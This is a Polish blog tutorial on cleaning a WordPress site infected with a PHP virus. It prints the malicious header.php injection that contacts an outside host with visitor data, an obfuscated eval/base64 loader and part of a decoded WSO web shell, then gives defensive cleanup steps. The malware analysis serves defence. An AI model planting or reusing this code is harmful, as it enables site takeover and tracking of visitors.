Usuń wirusa PHP WordPress

przez

0

Usuń wirusa PHP WordPress

Usuń wirusa PHP WordPress

0
Usuń wirusa PHP WordPress

W tym samouczku przedstawiono konkretny przypadek zainfekowania bloga WordPress. Usuń wirusa PHP WordPress.

Któregoś dnia zauważyłem podejrzany kod, który wygląda na wirusa PHP dla WordPressa. Następujący kod PHP był obecny w pliku header.php, przed linią </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

To jest kod PHP, który wygląda, jakby próbował pobrać zawartość zasobu z serwera zewnętrznego, ale część odnosząca się do adresu URL jest niekompletna.

Mechanizm działania jest nieco bardziej złożony i sprawia, że ​​wirus WordPress PHP jest niewidoczny dla osób odwiedzających dotknięte witryny. Zamiast tego atakuje wyszukiwarki (Google) i pośrednio prowadzi do znacznego spadku liczby odwiedzających dotknięte strony internetowe.

Szczegóły złośliwego oprogramowania WordPress PHP Virus

1. Powyższy kod występuje w header.php.

2. Na serwerze pojawił się plik wp-log.php w folderze wp-includes.

3. wp-log.php zawiera zaszyfrowany kod, który jest jednak stosunkowo łatwy do odszyfrowania.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Odszyfruj kod złośliwego oprogramowania z wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Wygląda na to, że jest to złośliwy skrypt PHP zawierający kod obsługujący uwierzytelnianie i działania na plikach i katalogach na serwerze. Można bardzo łatwo zauważyć, że skrypt ten zawiera zmienne takie jak $auth_pass (hasło uwierzytelniające), $default_action (akcja domyślna), $default_use_ajax (domyślnie używając Ajax) i $default_charset (domyślne ustawienie znaku).

Oczywiście ten skrypt zawiera sekcję, która sprawdza programy użytkownika HTTP pod kątem blokowania dostępu do niektórych botów internetowych, takich jak wyszukiwarki. Zawiera także sekcję sprawdzającą tryb bezpieczeństwa PHP i ustawiającą określone katalogi robocze.

4. Jeżeli w przeglądarce zostanie wywołany plik wp-log.php, pojawi się strona internetowa z polem uwierzytelnianie. Na pierwszy rzut oka wydaje się, że jest to menedżer plików, za pomocą którego można łatwo przesyłać nowe pliki na serwer docelowy.

Chcesz dewirusować witrynę WordPress?

Zawsze ręczny proces usuwania wirusów obejmuje najpierw odkrycie i zrozumienie luki.

1. Wygeneruj kopię zapasową całej witryny. Musi to obejmować zarówno pliki, jak i bazę danych.

2. Określ w przybliżeniu, jak długo wirus istnieje i przeszukaj serwer WWW pod kątem zmodyfikowanych lub nowo utworzonych plików w przybliżonym przedziale czasowym.

Na przykład, jeśli chcesz zobaczyć pliki .php utworzone lub zmodyfikowane w ciągu ostatniego tygodnia, uruchom na serwerze komendę:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Jest to prosta metoda, dzięki której możesz odkryć zainfekowane pliki WordPress i te zawierające kod złośliwego oprogramowania.

3. Sprawdź plik .htaccess podejrzanych dyrektyw. Linie uprawnień lub wykonania skryptu.

4. Sprawdź bazę danych. Jest bardzo możliwe, że niektóre posty i strony WordPress zostały zmodyfikowane przy użyciu złośliwego oprogramowania lub dodano nowe użytkownicy z rolą administratora.

5. Sprawdź uprawnienia do zapisu folderów i plików. chmod I chown.

Zalecane uprawnienia to: 644 dla plików i 755 dla katalogów.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Zaktualizuj wszystko WordPress Plugins / WordPress Themes.

Powiązany: Napraw przekierowanie WordPress Hack 2023 (wirus przekierowywania)

To są metody “podstawowy” za pomocą którego możesz odwirusować witrynę / blog WordPress. Jeśli masz problemy i potrzebujesz pomocy, sekcja komentarzy jest otwarta.

Usuń wirusa PHP WordPress

Może zainteresują Cię także...

Zostaw odpowiedź

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *